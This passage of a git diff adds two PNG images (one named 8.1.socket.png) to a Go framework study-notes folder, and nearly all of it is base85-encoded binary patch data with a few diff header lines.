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 literal 0 HcmV?d00001 diff --git a/golang_frame/frame阅读/images/8.1.socket.png b/golang_frame/frame阅读/images/8.1.socket.png new file mode 100644 index 0000000000000000000000000000000000000000..93dd544d6b627fde0e6f6b30d23be0de1a6083d7 GIT binary patch literal 34915 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 